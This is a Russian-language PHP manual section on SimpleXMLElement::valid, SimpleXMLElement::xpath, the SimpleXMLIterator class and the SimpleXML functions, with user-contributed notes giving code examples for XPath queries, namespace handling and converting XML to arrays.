Метод проверяет, является ли текущий элемент корректным после вызовов SimpleXMLElement::rewind() или SimpleXMLElement::next().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если текущий элемент является корректным, в противном случае возвращает false

Примеры

Пример #1 Проверка, является ли текущий элемент корректным

<?php
$xmlElement = new SimpleXMLElement('<books><book>SQL Basics</book></books>');

$xmlElement->rewind(); // перемотка к первому элементу
echo var_dump($xmlElement->valid()); // bool(true)

$xmlElement->next(); // переход к следующему элементу
echo var_dump($xmlElement->valid()); // bool(false) поскольку существует только один элемент
?>

User Contributed Notes

There are no user contributed notes for this page.


Запускает запрос XPath к XML-данным

  • « SimpleXMLElement::valid
  • SimpleXMLIterator »
  • PHP Manual
  • SimpleXMLElement
  • Запускает запрос XPath к XML-данным

SimpleXMLElement::xpath

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::xpath — Запускает запрос XPath к XML-данным

Описание

public SimpleXMLElement::xpath(string $expression): array|null|false

Метод xpath ищет узлы SimpleXML с дочерними элементами, соответствующие XPath expression.

Список параметров

expression

Путь XPath

Возвращаемые значения

Возвращает массив (array) объектов SimpleXMLElement в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Xpath

<?php
$string = <<<XML
<a>
<b>
<c>текст</c>
<c>вещь</c>
</b>
<d>
<c>код</c>
</d>
</a>
XML;

$xml = new SimpleXMLElement($string);

/* Поиск <a><b><c> */
$result = $xml->xpath('/a/b/c');

foreach ($result as $node) {
echo '/a/b/c: ',$node,"\n";
}

/* Относительные пути также работают... */
$result = $xml->xpath('b/c');

foreach ($result as $node) {
echo 'b/c: ',$node,"\n";
}
?>

Результат выполнения приведённого примера:

/a/b/c: текст
/a/b/c: вещь
b/c: текст
b/c: вещь

Обратите внимание, что оба результата одинаковы.

Смотрите также

  • SimpleXMLElement::registerXPathNamespace() - Создаёт префикс/пространство имён контекста для следующего запроса XPath
  • SimpleXMLElement::getDocNamespaces() - Возвращает пространства имён, объявленные в документе
  • SimpleXMLElement::getNamespaces() - Возвращает пространства имён, используемые в документе
  • Основы работы с модулем SimpleXML

User Contributed Notes

Filippo Vicari 28-Sep-2022 09:56
You can also search for siblings with a condition. For example immagine to need the title for a desidered language which with the two siblings tags in this XML file

<?xml version="1.0" encoding="UTF-8"?>
<IDOC BEGIN="1">
...
<PRODUCT SEGMENT="1">
    <PRODUCTCODE>005</PRODUCTCODE>
    <LANG>E</LANG>
    <TITLE>Name</TITLE>
    <LANG_ISO>EN</LANG_ISO>
</PRODUCT>
<PRODUCT SEGMENT="1">
    <PRODUCTCODE>005</PRODUCTCODE>
    <LANG>I</LANG>
    <TITLE>Name I</TITLE>
    <LANG_ISO>IT</LANG_ISO>
</PRODUCT>
...
</IDOC>

Let's break it down
<?php
"//PRODUCT" // find product tag
"//PRODUCT/LANG[.='E']" // whithin it find lang == "E"
"//PRODUCT/LANG[.='E']/../"  // go up one step
"//PRODUCT/LANG[.='E']/../TITLE" // get the title Tag content

// Combined search and find siblings ----------------------------
$xml = simplexml_load_file("fname.xml");

// Search for the TITLE field which sibling is == "E" ----------
$title_E_array = $xml->xpath("//PRODUCT/LANG[.='E']/../TITLE"); // By default gives back an array of  SimpleXmlElement
$title = (string) $xml->xpath("//PRODUCT/LANG[.='E']/../TITLE")[0]; // in this way saves only the value as a string
?>
awoerl at contentserv dot com 31-Jan-2017 12:43
I tried to use string functions in the xpath statements I'm passing, like

$oXml->xpath('substring(/foo/bar/text(), 0, 4)');

But no matter which syntax I'm trying I never the string functions to work.

Is it possible, that the xpath method does not support function calls?
Alexis Peters 11-Oct-2016 09:11
If you want this behavior for an multidimensional array you can use this:

<?php
function apath(&$a, $path, $value = NULL) {
    $pathes = explode('/',$path);

    if(count($pathes) > 1) {
        $firstPart = array_shift($pathes);
        if(!isset($a[$firstPart])) {
            $a[$firstPart] = array();
        }
        return apath($a[$firstPart], implode('/', $pathes), $value);
    } else {
        if($value){
            $a[$path] = $value;
        } else {
            return $a[$path];
        }
    }
}

apath($a, 'user/name', array('prename' => 'foo', 'lastname' => 'bar'));

$a = array();
var_dump($a);
var_dump(apath($a, 'user/name/lastname'));

?>
Gives you this:

array(1) {
  ["user"]=>
  array(1) {
    ["name"]=>
    array(2) {
      ["prename"]=>
      string(5) "foo"
      ["lastname"]=>
      string(8) "bar"
    }
  }
}
string(8) "bar"
Anonymous 30-Jan-2015 05:30
As mentioned already xpath will fail is the default namespace 'xmlns' is used like in:

<?php

$xmlstring = $string = <<<XML
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
    <fileVersion appName="xl" />
</workbook>
XML;
?>

xpath cannot search through the xml without explicitly specifying a namespace.
There are 2 options :
1. rename the 'xmlns' into something else to trick xpath into believing that no default namespace is defined.
2. register a string as the default namespace and use that string in all your queries. Unfortunatly, an empty space will not work.
No other option currently exist until XPath2.0 becomes the default library.
leonjanzen at gmail dot com 19-Oct-2014 07:48
To run an xpath query on an XML document that has a namespace, the namespace must be registered with SimpleXMLElement::registerXPathNamespace() before running the query. If the XML document namespace does not include a prefix, you must make up an arbitrary one, and then use it in your query.

<?php
$strXml= <<<XML
<?xml version="1.0" encoding="UTF-8"?>
<mydoc xmlns="http://www.url.com/myns">
    <message>Test message</message>
</mydoc>
XML;

$xmlDoc=new \SimpleXMLElement($strXml);

foreach($xmlDoc->getDocNamespaces() as $strPrefix => $strNamespace) {
    if(strlen($strPrefix)==0) {
        $strPrefix="a"; //Assign an arbitrary namespace prefix.
    }
    $xmlDoc->registerXPathNamespace($strPrefix,$strNamespace);
}

print($xmlDoc->xpath("//a:message")[0]); //Use the arbitrary namespace prefix in the query.
?>

This will output:

Test message
BenjaminBeck at gmx dot de 13-Sep-2014 01:36
If you want to search multiple values from xml on the behalf or one value then this code can be helpfull to you.

if there is:
<Record>
  <country>Pakistan</country>
  <code>+92</code>
  <Value>100<Value>
</Record>

then try this one:
<?php
$sxe =  simplexml_load_file("countries.XML");
foreach($sxe->xpath('//RECORD') as $item) {

    $v = $row->xpath('./country[. ="Pakistan"]');
    if($v[0]){
        print $item->country;
        print $item->code;
        print $item->value;
    }

}
?>
yetihehe at yetihehe dot com 12-Jan-2011 02:21
Xpath actually knows which element is root regardless of element on which you execute it. Example:

<?php

$string = <<<XML
<a>
 <b>
  <c>text</c>
  <c>stuff</c>
 </b>
 <b>
  <c>code</c>
 </b>
</a>
XML;

header('content-type: text/plain');

$xml = new SimpleXMLElement($string);

//relative to root
$b0=$xml->b[0]->xpath('//c');
while(list( , $node) = each($b0)) {
    echo 'b[0]: //c: ',$node,"\n";
}

$b1=$xml->b[1]->xpath('//c');
while(list( , $node) = each($b1)) {
    echo 'b[1]: //c: ',$node,"\n";
}

echo "\n";

//relative to current element
$b0=$xml->b[0]->xpath('.//c');
while(list( , $node) = each($b0)) {
    echo 'b[0]: .//c: ',$node,"\n";
}

$b1=$xml->b[1]->xpath('.//c');
while(list( , $node) = each($b1)) {
    echo 'b[1]: .//c: ',$node,"\n";
}

?>

Will return:
b[0]: //c: text
b[0]: //c: stuff
b[0]: //c: code
b[1]: //c: text
b[1]: //c: stuff
b[1]: //c: code

b[0]: .//c: text
b[0]: .//c: stuff
b[1]: .//c: code
stefan at efectos dot nl 09-Nov-2010 02:33
Having problems selecting information through xpath when there are namespaces in the XML?

Try this quick and dirty solution, but it works:

<?php
$objImageXml = new SimpleXMLElement($objImageXml->asXML());
?>
grummfy at gmail dot com 11-Feb-2010 04:08
On a xml that have namespace you need to do this before your xpath request (or empty array will be return) :

<?php
$string = str_replace('xmlns=', 'ns=', $string); //$string is a string that contains xml...
?>
DrupalFocus at earthlink dot net 02-Dec-2009 12:27
Looks like the relative path is relative to the SimpleXMLElement object that you call the Xpath() method on.  Basically chopping off the root element.

<?php
$string = <<<XML
<foo>
  <bar>
    <a>
     <b>
      <c>text</c>
      <c>stuff</c>
     </b>
     <d>
      <c>code</c>
     </d>
    </a>
  </bar>
</foo>
XML;

$xml = new SimpleXMLElement($string);
/* Search for children using 2nds level relative <bar><a><b><c> */
$result = $xml->xpath('a/b/c');
if ($result)
foreach($result as $node) {
    drupal_set_message(t('a/b/c: @node.', array('@node' => $node)));
}
else
  drupal_set_message(t('a/b/c: failed.'));

/* it relative to the SimpleXMLElement Search for 2nds level relative <bar><a><b><c> but where is foo */
$bar = $xml->bar;
$result = $bar->xpath('a/b/c');
foreach($result as $node) {
    drupal_set_message(t('bar->a/b/c: @node.', array('@node' => $node)));
}
?>

results in :
#
# a/b/c: failed.
# bar->a/b/c: text.
# bar->a/b/c: stuff.
behnam@zwnj 24-Sep-2009 01:34
Seems like this function cannot return the result of XPath string() [1] function.  For example if you query xpath("string(a/@b)") you will get bool(false) although the node "a" may have the attribute "b" set to a non-empty string.

[1] http://www.w3.org/TR/xpath#section-String-Functions
Anti Veeranna 17-Jun-2009 03:50
Whether it returns a false or empty array for a non-existing path seems to depend on libxml version.

I tried the following code:

<?php
$data = '<foo><bar></bar></foo>';
$xml = simplexml_load_string($data);
print gettype($xml->xpath('/first/second'));
?>

On a machine with libxml 2.6.16 and PHP 5.2.8 I got back boolean. On a different machine with libxml 2.7.3 and PHP 5.2.8/5.2.9 I got back empty array.

You can check the libxml version from command line by executing: php --ri libxml

or simply look at phpinfo() output
arealzone-czernobyl at yahoo dot de 11-Jun-2009 03:23
The simplest way to count nodes in a XML doc:

<?php
$xml = new SimpleXMLElement($xmlstr);

$xmlNode = $xml->xpath('root/yourNodeName');
$nodeCount = count($xmlNode);

echo $nodeCount;
?>
anemik 02-Jul-2008 03:46
If you want to find easly all records satisfying some condition in XML data like

....
   <book id="bk101">
      <author>Gambardella, Matthew</author>
      <title>XML Developer's Guide</title>
      <genre>Computer</genre>
      <price>44.95</price>
   </book>
   <book id="bk102">
      <author>Ralls, Kim</author>
      <title>Midnight Rain</title>
      <genre>Fantasy</genre>
      <price>5.95</price>
   </book>
...

try example below

<?php

$xmlStr = file_get_contents('data/books.xml');
$xml = new SimpleXMLElement($xmlStr);
// seach records by tag value:
// find all book records with price higher than 40$
$res = $xml->xpath("book/price[.>'40']/parent::*");
print_r($res);

?>

You will see response like:
Array (
[0] => SimpleXMLElement Object
        (
            [@attributes] => Array
                (
                    [id] => bk101
                )

            [author] => Gambardella, Matthew
            [title] => XML Developer's Guide
            [genre] => Computer
            [price] => 44.95
            [publish_date] => 2000-10-01
            [description] => An in-depth look at creating applications
      with XML.
        )
...
paul at pmtlogic dot com 18-Jun-2008 12:17
xpath doesn't seem to be able to handle single quotes embedded in the query itself. For instance, I want to find geo coordinates in an xml file based on country name.

xml snippet:

<zones>
<zone country="Cote d'Ivoire" fullName="Yamoussoukro" geo="6.82,-5.28" id="1050"><url prefix="1001" value="fiji.html" /><url prefix="1002" value="C" /></zone>
</zones>

The following code does not work:

<?php
$xml = simplexml_load_file("my.xml");
$result = $xml->xpath("//zone[@country='Cote d\'Ivoire']");

foreach ( $result[0]->attributes() as $key => $val ) {
    print "<div class='coords'>$key: $val</div>\n";
}
?>

I have tried many variations on the embedded single quote (i.e. escape codes) but with no result. W3C offers no explanation either.

In addition, there doesn't seem to be any way of embedding wildcards in the attribute value (you can embed wildcards in the attribute name). Otherwise the following might be a reasonable substitute in this context:

<?php $result = $xml->xpath("//zone[@country='Cote d*Ivoire']"); ?>
canuemail at gmail dot com 05-May-2008 05:05
If you want to search multiple values from xml on the behalf or one value then this code can be helpfull to you.

if there is:
<Record>
  <country>Pakistan</country>
  <code>+92</code>
  <Value>100<Value>
</Record>

then try this one:
<?php
$sxe =  simplexml_load_file("countries.XML");
foreach($sxe->xpath('//RECORD') as $item) {

    $row = simplexml_load_string($item->asXML());
    $v = $row->xpath('//country[. ="Pakistan"]');
    if($v[0]){
        print $item->country;
        print $item->code;
        print $item->value;
    }

}
?>
Hugh 18-Dec-2005 03:23
Note that this function does not ALWAYS return an array. It seems that if the specified path is not found in the document, it will return false. You need to check for the false value before using foreach, if you wish to avoid a warning (and often to handle errors or control program flow in this situation).
drewish at katherinehouse dot com 10-Jul-2005 06:16
xpath() can also be used to select elements by their attributes. For a good XPath reference check out: http://www.w3schools.com/xpath/xpath_syntax.asp

<?php
$string = <<<XML
<sizes>
    <size label="Square" width="75" height="75" />
    <size label="Thumbnail" width="100" height="62" />
    <size label="Small" width="112" height="69" />
    <size label="Large" width="112" height="69" />
</sizes>
XML;

$xml = simplexml_load_string($string);
$result = $xml->xpath("//size[@label='Large']");

// print the first (and only) member of the array
echo $result[0]->asXml();
?>

The script would print:
<size label="Large" width="112" height="69"/>


Класс SimpleXMLIterator

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

Введение

SimpleXMLIterator обеспечивает рекурсивную итерацию по всем узлам объекта SimpleXMLElement.

Обзор классов

class SimpleXMLIterator extends SimpleXMLElement {
/* Наследуемые методы */
public SimpleXMLElement::__construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
)
public SimpleXMLElement::addAttribute(string $qualifiedName, string $value, ?string $namespace = null): void
public SimpleXMLElement::addChild(string $qualifiedName, ?string $value = null, ?string $namespace = null): ?SimpleXMLElement
public SimpleXMLElement::asXML(?string $filename = null): string|bool
public SimpleXMLElement::attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public SimpleXMLElement::children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement
public SimpleXMLElement::count(): int
public SimpleXMLElement::current(): SimpleXMLElement
public SimpleXMLElement::getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false
public SimpleXMLElement::getName(): string
public SimpleXMLElement::getNamespaces(bool $recursive = false): array
public SimpleXMLElement::getChildren(): ?SimpleXMLElement
public SimpleXMLElement::hasChildren(): bool
public SimpleXMLElement::key(): string
public SimpleXMLElement::next(): void
public SimpleXMLElement::registerXPathNamespace(string $prefix, string $namespace): bool
public SimpleXMLElement::rewind(): void
public SimpleXMLElement::__toString(): string
public SimpleXMLElement::valid(): bool
public SimpleXMLElement::xpath(string $expression): array|null|false
}

Список изменений

Версия | Описание
8.0.0 | Методы итератора (SimpleXMLIterator::hasChildren(), SimpleXMLIterator::getChildren(), SimpleXMLIterator::current(), SimpleXMLIterator::key(), SimpleXMLIterator::next(), SimpleXMLIterator::rewind(), SimpleXMLIterator::valid()) были перенесены в SimpleXMLElement.
8.0.0 | Класс SimpleXMLIterator теперь реализует интерфейс Stringable.

User Contributed Notes

prouchetvincent at free dot fr 10-Oct-2020 12:47
<?php
=======================================================
$index =
<?xml version="1.0" encoding="UTF-8"?>
<root>
    <article id="8" visibility="true" filename="2020-10-08" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="7" visibility="true" filename="2020-10-07" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="6" visibility="true" filename="2020-10-02" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="5" visibility="true" filename="2020-09-30" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="4" visibility="true" filename="2020-09-26" fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="3" visibility="true" filename="2020-09-22"     fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
    <article id="2" visibility="true" filename="2020-09-20"     fileExtension="xml">
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
        <article id="1" visibility="true" filename="hello world" fileExtension="xml">
            Hello World
            <tag>xml</tag>
            <tag>php</tag>
            <tag>experiment</tag>
    </article>
</root>
====================================================================
?>
If you have to use an iterator to parse your XML
and need tu get an attribute of tags of this iterator then
use the fonction
->current()
of simpleXMLIterator on your object before
->attributes()->{attibute name}
<?php
$file="";
try{
     $index = new SimpleXMLIterator ( file_get_contents ( FILEDIRECTORY. 'index.xml' ) );}
catch(Exception $e) {whatever you want to do on error}}

for( $index->rewind(); $index->valid(); $index->next() ) {
    try {
          $file = file_get_contents(FILESDIRECTORY.$index->current()->attributes()->{'fileName'}. '.xml' );
    } catch (Exception $e) {whatever you want to do on error}
    $article = new Article ();
    $article->setXMLArticle ($file);
    array_push( $this->articles, $article );
    $file ="";
    }
}
?>
This exemple use a custom made Article object that itself parse the file given to him to initialise its properties .
Here we open a file (Yes I use constant for my directories)
make it a simpleXMLIterator and parse article elements to get the filename attribute to use it to open another XML file for data collection.
don't forget !!! In PHP Object created by new ClassName() are ALWAYS given by reference that is why new Article() in inside the loop and not outside
(yhea, I did that mistake)
XMLIterator are powerfull yet harder to understand in themselves but once passed that one point.
They are very more easier to use than plain arrays.
rukkykf at gmail dot com 16-Dec-2018 06:54
I think it's worth mentioning that you need to call the rewind() method on the SimpleXMLIterator object immediately after initialization before you can start doing any other operations on the object. An example:

<?php
$xml = new SimpleXMLIterator('file.xml', null, true);

// $x here will be set to null because the rewind() method has not been called
$x = $xml->current();

$xml->rewind();

// $x here will be set to the first element
$x = $xml->current();

?>
php-lover at live dot com 05-Oct-2015 09:50
Function to extract SimpleXMLElement data to array.

function extract($sxe = null) {
    if (!$sxe instanceOf SimpleXMLElement)
        return array();

    $extract = array();

    foreach ($sxe->children() as $key => $value) {
        if (array_key_exists($key, $extract)) {
            if (!isset($extract[$key][0])) {
                $tmp_extract = $extract[$key];
                $extract[$key] = array();
                $extract[$key][0] = $tmp_extract;
            } else
                $extract[$key] = (array) $extract[$key];
        }

        if ($value->count()) {
            if (isset($extract[$key]) && is_array($extract[$key]))
                $extract[$key][] = $this->extract($value);
            else
                $extract[$key] = $this->extract($value);
        } else {
            if (isset($extract[$key]) && is_array($extract[$key]))
                $extract[$key][] = empty(strval($value)) ? null : strval($value);
            else
                $extract[$key] = empty(strval($value)) ? null : strval($value);
        }
    }

    return $extract;
}
centy2010 at hotmail dot com 16-Jul-2014 03:22
I filled my database from an XML file about 1260 Kb.
I made my process less than a second. Simply by using SimpleXML.

I give you a little example of the usage to fill a database.
Given the table universe.
With 4 columns Coords, Planet_Name, Player_id, Moon_Size.

Now You have a XML file named universe.xml with this kind of data.
I enclose the data within php tags but it's a file :p
<?php
$xml = <<<EOT
<?xml version="1.0" encoding="UTF-8"?>
<universe xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" -
xsi:noNamespaceSchemaLocation="http://s127-fr.ogame.gameforge.com/api/xsd/universe.xsd" -
timestamp="1405413350" serverId="fr127">
    <planet id="1" player="1" name="Arakis" coords="1:1:2">
        <moon id="2" name="Mond" size="4998"/>
    </planet>
    <planet id="33620176" player="100000" name="GameAdmin" coords="1:1:3"/>
    <planet id="33620179" player="100003" name="Heimatplanet" coords="1:1:1"/>
    <planet id="33620186" player="100004" name="OGame Team" coords="6:250:1"/>
    <planet id="33620242" player="100058" name="KnS" coords="9:1:6">
        <moon id="33668391" name="Lune" size="8831"/>
    </planet>
</universe>
EOT;
?>

Now how to bring these data in my 4 columns table :

<?php
$newfname = $path."Universe.XML";
$mydata = new SimpleXmlIterator($newfname, 0, true);
$myquery = "INSERT INTO `".$tablename."` (`coords`,`planet_name`, `player_id`, `moon_size`) VALUES ";
for ($mydata->rewind();$mydata->valid();$mydata->next()) {
    $myquery.= " ('".$mydata->current()->attributes()['coords']
_."','".utf8_decode($mydata->current()->attributes()['name'])
_."','".utf8_decode($mydata->current()->attributes()['player'])
_."','";
    if ($mydata->haschildren()) {
        $myquery.= $mydate->current()->children()->attributes()['size']."'),";
    } else {
        $myquery.= "'),";
    }
}
$myquery = rtrim($myquery, ",");
$datatosql = mysql_query($myquery);
?>
hezll at msn dot com 11-Apr-2013 04:34
Most of the time we need to convert the XML to array or JSON , but now I have to completed the requirement of converting XML to XPath which make our template easily geting the data from XML data source due to the Xpath mapping .Here is the function:

<?php

function sxiToXpath($sxi, $key = null, &$tmp = null)
{
    $keys_arr = array();
    //get the keys count array
    for ($sxi->rewind(); $sxi->valid(); $sxi->next())
    {
        $sk = $sxi->key();
        if (array_key_exists($sk, $keys_arr))
        {
            $keys_arr[$sk]+=1;
            $keys_arr[$sk] = $keys_arr[$sk];
        }
        else
        {
            $keys_arr[$sk] = 1;
        }
    }
    //create the xpath
    for ($sxi->rewind(); $sxi->valid(); $sxi->next())
    {
        $sk = $sxi->key();
        if (!isset($$sk))
        {
            $$sk = 1;
        }
        if ($keys_arr[$sk] >= 1)
        {
            $spk = $sk . '[' . $$sk . ']';
            $keys_arr[$sk] = $keys_arr[$sk] - 1;
            $$sk++;
        }
        else
        {
            $spk = $sk;
        }
        $kp = $key ? $key . '/' . $spk : '/' . $sxi->getName() . '/' . $spk;
        if ($sxi->hasChildren())
        {
            sxiToXpath($sxi->getChildren(), $kp, $tmp);
        }
        else
        {
            $tmp[$kp] = strval($sxi->current());
        }
        $at = $sxi->current()->attributes();
        if ($at)
        {
            $tmp_kp = $kp;
            foreach ($at as $k => $v)
            {
                $kp .= '/@' . $k;
                $tmp[$kp] = $v;
                $kp = $tmp_kp;
            }
        }
    }
    return $tmp;
}

function xmlToXpath($xml)
{
    $sxi = new SimpleXmlIterator($xml);
    return sxiToXpath($sxi);
}

/**
 *  How to use the function
 */
$xml = <<<EOT
<?xml version="1.0" encoding="utf8" ?>
<data>
   <item ID="30001">
      <Company>Navarro Corp.</Company>
   </item>
   <item ID="30002" IDd="30002">
      <Company>Performant Systems</Company>
   </item>
   <item ID="30003">
      <Company id='id_test'><g id='id_g'>glove</g></Company>
   </item>
    <item>
    </item>
</data>
EOT;

$rs = xmlToXpath($xml);
print_r($rs);

/**
 * the results may lkie this:
Array
(
    [/data/item[1]/Company[1]] => Navarro Corp.
    [/data/item[1]/@ID] => SimpleXMLIterator Object
        (
            [0] => 30001
        )
    [/data/item[2]/Company[1]] => Performant Systems
    [/data/item[2]/@ID] => SimpleXMLIterator Object
        (
            [0] => 30002
        )

    [/data/item[2]/@IDd] => SimpleXMLIterator Object
        (
            [0] => 30002
        )

    [/data/item[3]/Company[1]/g[1]] => glove
    [/data/item[3]/Company[1]/g[1]/@id] => SimpleXMLIterator Object
        (
            [0] => id_g
        )

    [/data/item[3]/Company[1]/@id] => SimpleXMLIterator Object
        (
            [0] => id_test
        )

    [/data/item[3]/@ID] => SimpleXMLIterator Object
        (
            [0] => 30003
        )

    [/data/item[4]] =>

)
 */

echo "Total:" . count($rs);

echo "<hr>";
/* You can check the xpath result like this */
$xml = new SimpleXMLElement($xml);
foreach ($rs as $k => $v)
{
    echo "Xpath:" . $k . " |Value:" . $v . " ";
    var_dump($xml->xpath($k));
    echo "<br>";
}
ajnsit dot NOSPAM at gmail dot com 17-Mar-2011 10:14
Here's a simple function to convert an XML string to an array -

<?php
// PHP5.3 and above only
function parse($str) {
    $f = function($iter) {
      foreach($iter as $key=>$val)
        $arr[$key][] = ($iter->hasChildren())?
          call_user_func (__FUNCTION__, $val)
          : strval($val);
      return $arr;
    };
    return $f(new SimpleXmlIterator($str, null));
}
?>

PHP 5.2 and below do not have anonymous functions.
But you can create a helper function to achieve the same thing -

<?php
  function parse($str) {
    return parseHelper(new SimpleXmlIterator($str, null));
  }
  function parseHelper($iter) {
    foreach($iter as $key=>$val)
      $arr[$key][] = ($iter->hasChildren())?
        call_user_func (__FUNCTION__, $val)
        : strval($val);
    return $arr;
  }
?>

Using it is straightforward enough -

<?php

$xml = '
<movies>
  <movie>abcd</movie>
  <movie>efgh</movie>
  <movie>hijk</movie>
</movies>';
var_dump(parse($xml));

?>

This will output -

array
  'movie' =>
    array
      0 => string 'abcd' (length=4)
      1 => string 'efgh' (length=4)
      2 => string 'hijk' (length=4)
ratfactor at gmail dot com 19-Jul-2009 05:08
The documentation is a bit sparse for SimpleXmlIterator.  Here is an example showing the use of its methods. xml2Array and sxiToArray work together to convert an XML document to an associative array structure.

The contents of cats.xml:
======================================
<cats>
  <cat>
      <name>Jack</name>
      <age>2</age>
      <color>grey</color>
      <color>white</color>
  </cat>
  <cat>
      <name>Maxwell</name>
      <age>12</age>
      <color>orange</color>
      <color>black</color>
  </cat>
</cats>
======================================

<?php
function xml2array($fname){
  $sxi = new SimpleXmlIterator($fname, null, true);
  return sxiToArray($sxi);
}

function sxiToArray($sxi){
  $a = array();
  for( $sxi->rewind(); $sxi->valid(); $sxi->next() ) {
    if(!array_key_exists($sxi->key(), $a)){
      $a[$sxi->key()] = array();
    }
    if($sxi->hasChildren()){
      $a[$sxi->key()][] = sxiToArray($sxi->current());
    }
    else{
      $a[$sxi->key()][] = strval($sxi->current());
    }
  }
  return $a;
}

// Read cats.xml and print the results:
$catArray = xml2array('cats.xml');
print_r($catArray);
?>

Results (reformatted a bit for compactness and clarity):
======================================
Array(
  [cat] => Array(
    [0] => Array(
      [name] => Array(  [0] => Jack    )
      [age] => Array(   [0] => 2       )
      [color] => Array( [0] => grey,
                        [1] => white   )
    )
    [1] => Array(
      [name] => Array(  [0] => Maxwell )
      [age] => Array(   [0] => 12      )
      [color] => Array( [0] => orange
                        [1] => black   )
    )
  )
)


Функции SimpleXML

Содержание

  • simplexml_import_dom — Получает объект класса SimpleXMLElement из узла DOM
  • simplexml_load_file — Интерпретирует XML-файл в объект
  • simplexml_load_string — Интерпретирует строку с XML в объект

User Contributed Notes

Pyetro Costa [pyetrosafe at gmail dot com] 07-Dec-2018 08:48
After viewing the xml2array function of "http://www.php.net/manual/en/ref.simplexml.php#103617" and the "http://php.net/manual/en/ref.simplexml.php # 112038 "and still have made a change to convert empty tags to null ... I felt the need to work with the result as an object, keeping arrays like arrays. Arriving at this function:
<?php

    private function xml2Object($xmlObject, $out = null) {
        $out = (is_object($xmlObject) ? new \stdClass : array());
        foreach ((array) $xmlObject as $index => $node )
            if (is_array($out)) {
                $out[$index] = (is_object($node) || is_array($node)) ? (($node instanceof \SimpleXMLElement) && count((array) $node)==0 ? null : $this->xml2Object($node)) : $node;
            } else
                $out->{$index} = (is_object($node) || is_array($node)) ? (($node instanceof \SimpleXMLElement) && count((array) $node)==0 ? null : $this->xml2Object($node)) : $node;
        return $out;
    }
?>

And the results of function can be seen below:
<?php
    $xml = simplexml_load_string('<?xml version="1.0" encoding="UTF-8" standalone="no"?><results><l1_elm1><l2_elm1>Some Text</l2_elm1><l2_elm2/></l1_elm1><l1_elm2><l2_elm1><l3_elm1>Array Index[0] - First property</l3_elm1><l3_elm2>Array Index[0] - Second property</l3_elm2><l3_elm3>Array Index[0] - Third property</l3_elm3></l2_elm1><l2_elm1><l3_elm1>Array Index[1] - First property</l3_elm1><l3_elm2>Array Index[1] - Second property</l3_elm2><l3_elm3>Array Index[1] - Third property</l3_elm3></l2_elm1></l1_elm2><l1_elm3/></results>');

    var_dump( $this->xml2Object($xml) );

    // var_dump xml2Object results
    object(stdClass)#339 (3) {
      ["l1_elm1"]=>object(stdClass)#344 (2) {
        ["l2_elm1"]=>string(9) "Some Text"
        ["l2_elm2"]=>NULL
      }
      ["l1_elm2"]=>object(stdClass)#347 (1) {
        ["l2_elm1"]=>array(2) {
          [0]=>object(stdClass)#348 (3) {
            ["l3_elm1"]=>string(31) "Array Index[0] - First property"
            ["l3_elm2"]=>string(32) "Array Index[0] - Second property"
            ["l3_elm3"]=>string(31) "Array Index[0] - Third property"
          }
          [1]=>object(stdClass)#349 (3) {
            ["l3_elm1"]=>string(31) "Array Index[1] - First property"
            ["l3_elm2"]=>string(32) "Array Index[1] - Second property"
            ["l3_elm3"]=>string(31) "Array Index[1] - Third property"
          }
        }
      }
      ["l1_elm3"]=>NULL
    }

    // VarDump Symphony xml2Object results something like
    object (#345) {
      +"l1_elm1": object (#339) {
        +"l2_elm1": "Some Text"
        +"l2_elm2": null
      }
      +"l1_elm2": object (#347) {
        +"l2_elm1": array(2) {
          [0] => object (#348) {
            +"l3_elm1": "Array Index[0] - First property"
            +"l3_elm2": "Array Index[0] - Second property"
            +"l3_elm3": "Array Index[0] - Third property"
          }
          [1] => object (#349) {
            +"l3_elm1": "Array Index[1] - First property"
            +"l3_elm2": "Array Index[1] - Second property"
            +"l3_elm3": "Array Index[1] - Third property"
          }
        ]
      }
      +"l1_elm3": null
    }
?>
Pyetro Costa [pyetrosafe at gmail dot com] 07-Dec-2018 02:55
This is just a new adjustment to the http://php.net/manual/en/ref.simplexml.php#112038 's function.

Adding the check by is_array has increased the conversion to lower levels by at least 3 levels, however empty Tags are converted to SimpleXMLElement class objects, adding a type and size check, convert these empty Tags to null.

See example:
<?php
    // The http://php.net/manual/en/ref.simplexml.php#112038 's function
    function xml2array($xmlObject, $out = array ()) {
        foreach ((array) $xmlObject as $index => $node )
            $out[$index] = (is_object($node) || is_array($node)) ? xml2array($node) : $node;
        return $out;
    }

    $xml = simplexml_load_string('<?xml version="1.0" encoding="UTF-8" standalone="no"?><results><level1><l1_elm1><level2><l2_elm1>Some Text</l2_elm1><l2_elm2/></level2></l1_elm1><l1_elm2>Other String</l1_elm2><l1_elm3/></level1></results>');
    $XML2Array = xml2array($xml);
    var_dump($xml);
    var_dump($XML2Array);

    // The result is like bellow
    // simplexml_load_string results
    object(SimpleXMLElement)#227 (1) {
      ["level1"]=>object(SimpleXMLElement)#226 (3) {
        ["l1_elm1"]=>object(SimpleXMLElement)#236 (1) {
          ["level2"]=>object(SimpleXMLElement)#238 (2) {
            ["l2_elm1"]=>string(9) "Some Text"
            ["l2_elm2"]=>object(SimpleXMLElement)#239 (0) {}
          }
        }
        ["l1_elm2"]=>string(12) "Other String"
        ["l1_elm3"]=>object(SimpleXMLElement)#237 (0) {}
      }
    }

